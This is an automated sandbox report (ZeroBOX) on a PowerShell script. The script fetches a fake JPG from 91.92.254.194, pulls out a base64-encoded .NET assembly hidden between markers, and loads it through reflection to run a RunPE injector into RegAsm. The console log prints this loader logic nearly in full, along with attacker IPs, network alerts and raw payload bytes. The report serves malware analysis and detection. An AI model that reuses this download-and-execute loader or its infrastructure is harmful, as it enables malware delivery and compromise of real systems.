Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	July 4, 2024, 9:47 a.m.	July 4, 2024, 9:49 a.m.

Size	1.4KB
Type	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
MD5	`af7ad8b719740c60af95b7f13a382d97`
SHA256	`4b7fa4e4432f81f77f936deb1747705fddc1008accbd46ecc981990b5a997210`
CRC32	`237E42AC`
ssdeep	`24:Ob3HHBNquafZiJQtyNycc3LDVfNuBh+WB3K9fdkUlGdCM2yyn2x4+5BKuXno8gQl:Ob3n3ooyt9cOYy1edJ42Tyeo8iK`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\file_xmomibuj.x4j.txt.ps1
2580

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
91.92.254.194	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 91.92.254.194:80 -> 192.168.56.101:49163	2400012	ET DROP Spamhaus DROP Listed Traffic Inbound group 13	Misc Attack
TCP 91.92.254.194:80 -> 192.168.56.101:49163	2047750	ET MALWARE Base64 Encoded MZ In Image	A Network Trojan was detected
TCP 91.92.254.194:80 -> 192.168.56.101:49163	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW July 4, 2024, 9:47 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (19 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: Exception calling "Invoke" with "2" argument(s): "The requested security protoc console_handle: 0x00000023	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: ol is not supported." console_handle: 0x0000002f	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: At line:1 char:917 console_handle: 0x0000003b	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: + $link = 'http://91.92.254.194/imge/new-image_v.jpg'; $webClient = New-Object console_handle: 0x00000047	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: System.Net.WebClient; try { $downloadedData = $webClient.DownloadData($link) } console_handle: 0x00000053	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: catch { Write-Host 'Failed To download data from $link' -ForegroundColor Red; e console_handle: 0x0000005f	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: xit }; if ($downloadedData -ne $null) { $imageText = [System.Text.Encoding]::UT console_handle: 0x0000006b	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: F8.GetString($downloadedData); $startFlag = '<<BASE64_START>>'; $endFlag = '<<B console_handle: 0x00000077	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: ASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageT console_handle: 0x00000083	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: ext.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { console_handle: 0x0000008f	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $bas console_handle: 0x0000009b	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: e64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = console_handle: 0x000000a7	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.R console_handle: 0x000000b3	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: eflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunP console_handle: 0x000000bf	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: E.Home'); $method = $type.GetMethod('VAI').Invoke <<<< ($null, [object[]] ('txt console_handle: 0x000000cb	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: .ONC/33044/831.65.232.271//:ptth' , 'desativado' , 'desativado' , 'desativado', console_handle: 0x000000d7	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: 'RegAsm','')) } } console_handle: 0x000000e3	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x000000ef	1	1
WriteConsoleW July 4, 2024, 9:47 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodTargetInvocation console_handle: 0x000000fb	1	1

Uses Windows APIs to generate a cryptographic key (6 events)

Time & API	Arguments	Status	Return
CryptExportKey July 4, 2024, 9:47 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0042f4f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2024, 9:47 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0042f4f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2024, 9:47 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0042f4f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2024, 9:47 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0042f4f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2024, 9:47 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0042f4f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 4, 2024, 9:47 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0042f4f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 4, 2024, 9:47 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://91.92.254.194/imge/new-image_v.jpg

Performs some HTTP requests (1 event)

request

GET http://91.92.254.194/imge/new-image_v.jpg

Allocates read-write-execute memory (usually to unpack itself) (35 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0269b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026af000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02679000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05710000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05711000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05720000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02972000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05576000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05577000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05712000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05713000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05714000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05715000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b31000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 1376256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x076d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x077e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x077e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x077e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x077e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x077e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05716000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05717000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05718000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0267d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05578000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05561000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05719000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2024, 9:47 a.m.	process_identifier: 2580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05721000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 4, 2024, 9:47 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (3 events)

Data received	D^àÍ× »¥Ùµ'Ò8ÇÆ·û^UÕ]H,^`&û!äSgõ«kÝ&iN T ªíSÅÀâÚåÙ3¸ßBÜÎ}<Èhîã\ Wðí³BHOÞ½ux/2u?f]!=+ÊÎBî^6:ßRHÍ°;+ç?ëéuzí8/¡Wª2ß&ÏJ<ýp2¼ nÄÃ°)÷£wUÏ¯é\|ZIôJ%hö²¼Ð6 gË¥y{,Çi%{{V{³<ÌcÒêc@Qgó¯åêàÕT+åºº°aaèAøæ«jÕ5:e[Ä2·á<uç¾Ù¨²Ã§H¤UÚYNÂ6óÁ¿1¤UµnZÈàû\|O~GljmãmÔ`åÕQ\|mès<ê1QÅpOªQ¤TU¢NãÀ®üfmKøf§a&µ#ñpsó¾®5û¬òï£Ùõïû] & £wde&þþ¿®\|W,oáò!p®¬ {àbl n1Ý3»D9³\|y¸à1e¦-^râ2ÊmE¬¨5;è©Ô$ADYN<µXöZ<WL¾âþc8àô:Ö\¾ÄÎùàB&àVl#ª-T Ä)µ%vQè=¯¾2\m, ðr:}qµrR~3ÐÖÚ<÷ÆDkÒFV7U}$cºö¿¶:tÓ<Q<`3I·Óé/¡Úw6949ù]ðé&5fShÌ~EIü?]jiãÓÞÕ·3qék;x±føºäñÒ:1UônfÚY÷"¨P:òóÓÎ"ûÉØhÛWp<¹[qm¯´µí?Í?®ÖÅ<k{v¨V{¬ <Wÿ\|è?\]&0È±±Xî2;(b^)¯Ó$ªãÂ]TZæ1ªcÇ#¦Oâ $²¤VøÚM!;Oá¬2Í§×/RÚ8£l}ðÖËÂH>-²Ç©î2uz)4úÔ´wÃW\`tïdc ËyrÚ ÑàU':¢Á$_éðýè¥¤nü9 ¤5X+ÀKY¢ÒóY\4 Æf¤ú^&þl0ÍçØÑ8<ýÐK½HSÐQÁ7YüÍ3ü&ÁS\p)3ÊÃ vçÚ'r¡Ê:äù/±ÑÕ×>ø2ùÊÈHP£¯scbÂ¹±.F¯¨Á$e%°z®IM±J .¯ÕD Ù7á¾¸}##H m¶l6¥Òfm"ºà¼7LñyF»¯ü0jxÖ· Ù+¸úcb$gT2ícÒï^8ÕTu¿jÀè`ó¢©g7Ï£Åü±B)(£pjq5± µW =²Vz-~¢EÀÐETDíÛ¾fO¨BÎ5nººçVÞö ñW\|RmÌ\LÔIíTUT±VïlD#vÖ¯â aâT@©v@«÷Îbâè©^}¨E.Þ/¹ÍbñíUµ4lSHªC(#hç'FÑIÆûo\|$vdì¤^bÓÀåå$éÅbmb»Ìxq6äa¾¯B&vQD ¸Å 2~#5¤³'âKãÔí$ÜO@p3ë:±¨ôþl[¢;à¤Q»é<ËH"ÊÖVue¨ß?<¼jOE'é>¢Ir.át(H'l¥`YÈ,JÆV³«'È»Ü-Õá¤À ÙúaôË½É, íY£0Ë°úã:Wvuÿ¶mC»m`¬Êhs««ìk ÛRÉÚC®»ãè06f@ÆÑ?\ÏEáð¨ o?ÒS®Ô/åËDÖ 04Õáã$ bÁXÐ=f4Ë@]0ê$.P°0q6¢BÔ@ s°`A$qf«ÃÌIf&¨ñðÎwR5°À<Z©<ÒÏÅÜò1¨¹iTÐøpU-êøwÇbZ(á[dÆÓÄ]#e6yïó«iÔ%@º§#ê»è£`^ÓÊv©<^ø5)*òAàbí©DpÀ
Data received	,eËÛófyö¡LÅÑLiµA6ïñÆbÖ¢ªdjRTqÇ7ú`UJY}ï¹û\|ò-Ê£¹AéíÇS¼½D.Êçw&ðjB²1-?»ÄÑ>µ`ÜV>c(©P]KòÅ$`zòz×¶3)aê$÷,ktY:Inõ@éItègW3NþQ IaNE_5ÏÏfD+#tê±Üb¯âi¦¬Êí#Ul)âï" CÊï @¥"Oâµa\|\|ïz3&©^½XÆH$Zn¾8¯¾VdÓQ3Ë¹XebIÉPx¢r'M¦"eÚÛWk£BÆ_¬g¸`y]Ø<¬ ¤sßç`òéµ¥dÕJÊ¢ÙÕÙI±dÏr,ø¼¨hQoQ#³IoÎýUäë<Eà(U(© ª¤]î=zðáÈã,©LháN½hÓøõ²yí29êm·aÍÐ ü1øõ[U'hUv,ÀoU$sÉ9£&JÐ4aK7µ©nMµàecÔÁåJòÈ&äb@}x$×~ø§Ç!ZP¨b1ÄÄ¾¢ù0~¾í«_ç@ì«§UþG7þ»bßhcyçÒÇ,ìó¨êIb=LnútoÓÞ>dImsm"Ç½`3âÊÞ%sÉ VÀ~Æùçà?öå6µé=JégÚämÊEA³AÁÅ iÂób`UoKí×¯{Êê>òemBjÈ«âÍ{iXî¾vª¸ëâé©HtÂMþYVPzC·~þù îzQÏfúdñ_YÝVóiIe;Ø§OöÏ7¥_+ZÏ rbpTûy¿¥à}MRLZ)]=V3]1.%e?«¬ÊÇÊÈI6E2ÚQHb®í¨J0ªä~!óÀV}¡ThW·¶ 5N°ÊÁBªhÈÓj¼ÈÛ à0Vä{`jVBÅ¹¦Z±FC/¨ú¯! i#R¸¿^øeÐÈHÿA©ÔFÅ£ooÂ§¡ÊÀDB¸ïï×é[LÎõ¾ÐlenlH¯¦_MI§ý%Á÷ÀæµqB¨kif¿n¾¸gb´.õËÜ¶oqã'~¡R ýïEUV·'£Ë§y¼poã\ hw«n ×Û.4©4¬î øè~x¶»LÐWV°[ðóZ¹PÇÂúoúcz×S¥M^ãÑie"ÚPÄÐ1NZ"Ôõ8ÃøNæg¤ñX¤ú' [¸öÀ'ÞGëBA<òÅ8ÃPsÏ¿l cüDñÐ°(d9áS°wïß×c»ÃEos-ðÉ×&ÍSÀ¬!Ò¢,°Hwê¿\§ÄÈïé·26î~X°Bd ÅßltÅÝKM~+ÂU»h¾M¥E¦ðÌÜöçPôÈT)í^Ø ³3fëç,9Ìc]0+Îw9?<$aI¶j0Îw8ÃªÃFX{tçiÚ¸<`@jë%¸b/¡9tV,()=(6U;¡nJããG.s¹Æ2(ÁXpÅM®PFû7%»^¹ÎçnàVjÛ»ð~}ðÎw9b¤<^V°;îs¹ÎçsvÎ£EñÀr@µ'Û.ñ:Y¥ ëäòrFÑÉ6}³(töÀåù?LëÈÈb6-uÛÏçç.@Ûø¹öÊsÜçsÎpëÜçsd+×+ÎsóÈç$]àmxv»OO¤e-3H·ÔPïý1H§%PÒ²)9Ú47åÄµÕ_®2Yþû´»nbA>s}° º4ðm3iåT OO¸¡ÛO0ÀË`ÍeÅÞðs" ¬yIð}G&(ô2@»\|Ï4]°é]N¾fÒ&R6EÜ1no¯n1
Data received	ëq6ºâC¨+~IýàpW*òÀ sÔÄMõ#(Ú WxZ½ì`£Ç\âå Ç¶î óß,43X¨ù=Õv´°¿5±nÐê11QdØ¬[cÞàÜ ¨µËjGÈ2HÌ~7)à××_"pÜ°ïÍýsw 85ÊÖ¶î§+JXì0

Poweshell is sending data to a remote host (1 event)

Data sent

GET /imge/new-image_v.jpg HTTP/1.1 Host: 91.92.254.194 Connection: Keep-Alive

Communicates with host for which no DNS query was performed (1 event)

host

91.92.254.194

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send July 4, 2024, 9:47 a.m.	buffer: GET /imge/new-image_v.jpg HTTP/1.1 Host: 91.92.254.194 Connection: Keep-Alive socket: 1540 sent: 83	1	83	0

file_xmomibuj.x4j.txt.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All